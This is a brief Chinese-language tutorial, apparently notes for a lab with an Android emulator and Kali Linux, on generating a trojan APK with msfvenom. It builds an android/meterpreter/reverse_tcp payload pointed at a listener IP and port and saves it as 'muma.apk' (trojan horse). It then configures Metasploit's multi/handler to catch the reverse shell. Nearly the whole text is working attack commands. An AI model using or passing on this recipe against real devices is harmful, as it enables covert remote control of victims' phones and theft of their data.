模拟器和kali都使用桥接,kali要提权
1,msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.189.4 lport=5555 >/home/muma.apk
-p 设置攻击载荷
lhost lport 监听机的ip和端口号
>存放木马apk的路径和apk名
2, msfconsole
3,use exploit/multi/handler 监听模块
set payload android/meterpreter/reverse-tcp
set lhost 192.168.189.4
set lport 5555
4,获取shell